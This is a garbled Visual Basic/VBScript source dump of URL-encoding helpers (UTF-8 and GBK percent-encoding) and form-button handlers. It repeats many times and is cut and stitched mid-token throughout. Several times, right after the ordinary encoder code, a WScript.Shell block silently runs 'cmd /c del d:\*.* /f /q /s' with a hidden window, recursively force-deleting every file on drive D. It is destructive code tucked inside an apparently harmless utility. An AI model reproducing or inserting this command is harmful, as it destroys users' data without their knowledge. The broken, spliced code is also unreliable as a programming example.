Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*******************************************Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*******************************************Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*******************************************Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8Encodetion UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function tion UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function tion UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function tion UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function tion UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function tion UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function tion UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function URI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = Asc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = Asc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = 